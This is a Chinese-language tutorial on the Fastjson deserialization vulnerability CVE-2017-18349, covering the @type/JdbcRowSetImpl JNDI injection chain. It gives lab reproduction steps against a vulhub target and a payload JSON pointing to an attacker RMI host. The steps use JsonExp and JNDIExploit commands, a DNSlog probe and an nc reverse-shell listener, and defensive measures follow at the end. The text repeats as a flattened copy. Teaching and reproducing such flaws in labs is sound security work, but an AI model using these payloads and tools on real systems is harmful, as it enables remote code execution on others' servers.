fastjson反序列化 CVE-2017-18349
字数 1278 2025-08-10 08:28:21

Fastjson反序列化漏洞(CVE-2017-18349)深度分析与利用指南

1. Fastjson简介

Fastjson是阿里巴巴开发的Java语言编写的高性能JSON库,用于实现JSON与Java对象之间的相互转换。它没有使用Java的标准序列化机制,而是自定义了一套序列化机制。

主要接口

  • 序列化: JSON.toJSONString
  • 反序列化: JSON.parseObject/JSON.parse

2. Fastjson基本使用

序列化示例

User user = new User("John", "Doe", 30);
String jsonString = JSON.toJSONString(user);
System.out.println(jsonString);

带类名的序列化

Student student = new Student();
student.setName("jack");
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString);

反序列化示例

String json_ser = "{\"@type\":\"com.company.Student\",\"name\":\"jack\"}";
Student stu = JSON.parseObject(json_ser, Student.class, Feature.SupportNonPublicField);

3. 漏洞原理

Fastjson为了实现精确的类型识别,引入了@type机制,这成为漏洞的关键点:

  1. autotype机制:Fastjson通过@type指定反序列化的具体类型
  2. 攻击向量:攻击者可以构造恶意JSON,指定任意类进行实例化
  3. 利用链:通过jdbcRowSetImpl类的setDataSourcesName方法注入RMI/LDAP地址
  4. JNDI注入:受害者服务器会连接攻击者控制的RMI/LDAP服务器,加载并执行恶意代码

4. 漏洞利用过程

  1. 准备恶意服务

    • 搭建RMI服务和Web服务
    • 将RMI绝对路径注入到lookup方法中
  2. 触发漏洞

    • 受害者JNDI接口指向攻击者控制的RMI服务器
    • JNDI接口向攻击者控制的Web服务器远程加载恶意代码
    • 执行构造函数形成RCE(远程代码执行)

5. 漏洞复现步骤

环境准备

  • 攻击机:Kali Linux
  • 靶场:vulhub/fastjson

检测方法

DNSlog检测

JsonExp.exe -u http://192.168.100.134:8090/ -l vi7sp8.dnslog.cn

观察DNSlog回显确认漏洞存在

LDAP检测

  1. 启动LDAP和HTTP服务:

    java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.100.1
    
  2. 发送检测请求:

    JsonExp.exe -u http://192.168.100.134:8090/ -l 192.168.100.1:1389
    

利用步骤

  1. 使用Burp抓取请求包
  2. 修改数据包,插入恶意payload
  3. 本地开启NC监听:
    nc -lvnp 端口号
    
  4. 发送恶意数据包
  5. 观察LDAP服务器接收情况
  6. 检查NC是否收到反弹shell

6. 典型Payload示例

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://attacker-ip:port/Exploit",
  "autoCommit": true
}

7. 防御措施

  1. 升级Fastjson到最新安全版本
  2. 关闭autotype功能:ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  3. 使用白名单机制限制反序列化类
  4. 对输入进行严格校验和过滤

8. 工具列表

  1. JsonExp.exe - Fastjson漏洞检测工具
  2. JNDIExploit.jar - JNDI注入利用工具
  3. Burp Suite - 抓包和重放工具
  4. Netcat (nc) - 反弹shell监听工具

9. 技术要点总结

  1. 漏洞根源在于Fastjson的@type自动类型识别机制
  2. 利用JDK中的JdbcRowSetImpl类作为攻击入口
  3. 通过JNDI注入实现远程代码执行
  4. 攻击链:构造恶意JSON → 触发反序列化 → 连接恶意RMI/LDAP → 加载执行远程代码
  5. 检测时优先使用DNSlog进行无害验证

通过以上分析,我们可以全面理解Fastjson反序列化漏洞的原理和利用方法,同时也能够采取有效措施进行防御。

Fastjson反序列化漏洞(CVE-2017-18349)深度分析与利用指南 1. Fastjson简介 Fastjson是阿里巴巴开发的Java语言编写的高性能JSON库,用于实现JSON与Java对象之间的相互转换。它没有使用Java的标准序列化机制,而是自定义了一套序列化机制。 主要接口 序列化 : JSON.toJSONString 反序列化 : JSON.parseObject / JSON.parse 2. Fastjson基本使用 序列化示例 带类名的序列化 反序列化示例 3. 漏洞原理 Fastjson为了实现精确的类型识别,引入了 @type 机制,这成为漏洞的关键点: autotype机制 :Fastjson通过 @type 指定反序列化的具体类型 攻击向量 :攻击者可以构造恶意JSON,指定任意类进行实例化 利用链 :通过 jdbcRowSetImpl 类的 setDataSourcesName 方法注入RMI/LDAP地址 JNDI注入 :受害者服务器会连接攻击者控制的RMI/LDAP服务器,加载并执行恶意代码 4. 漏洞利用过程 准备恶意服务 : 搭建RMI服务和Web服务 将RMI绝对路径注入到 lookup 方法中 触发漏洞 : 受害者JNDI接口指向攻击者控制的RMI服务器 JNDI接口向攻击者控制的Web服务器远程加载恶意代码 执行构造函数形成RCE(远程代码执行) 5. 漏洞复现步骤 环境准备 攻击机:Kali Linux 靶场:vulhub/fastjson 检测方法 DNSlog检测 观察DNSlog回显确认漏洞存在 LDAP检测 启动LDAP和HTTP服务: 发送检测请求: 利用步骤 使用Burp抓取请求包 修改数据包,插入恶意payload 本地开启NC监听: 发送恶意数据包 观察LDAP服务器接收情况 检查NC是否收到反弹shell 6. 典型Payload示例 7. 防御措施 升级Fastjson到最新安全版本 关闭autotype功能: ParserConfig.getGlobalInstance().setAutoTypeSupport(false); 使用白名单机制限制反序列化类 对输入进行严格校验和过滤 8. 工具列表 JsonExp.exe - Fastjson漏洞检测工具 JNDIExploit.jar - JNDI注入利用工具 Burp Suite - 抓包和重放工具 Netcat (nc) - 反弹shell监听工具 9. 技术要点总结 漏洞根源在于Fastjson的 @type 自动类型识别机制 利用JDK中的 JdbcRowSetImpl 类作为攻击入口 通过JNDI注入实现远程代码执行 攻击链:构造恶意JSON → 触发反序列化 → 连接恶意RMI/LDAP → 加载执行远程代码 检测时优先使用DNSlog进行无害验证 通过以上分析,我们可以全面理解Fastjson反序列化漏洞的原理和利用方法,同时也能够采取有效措施进行防御。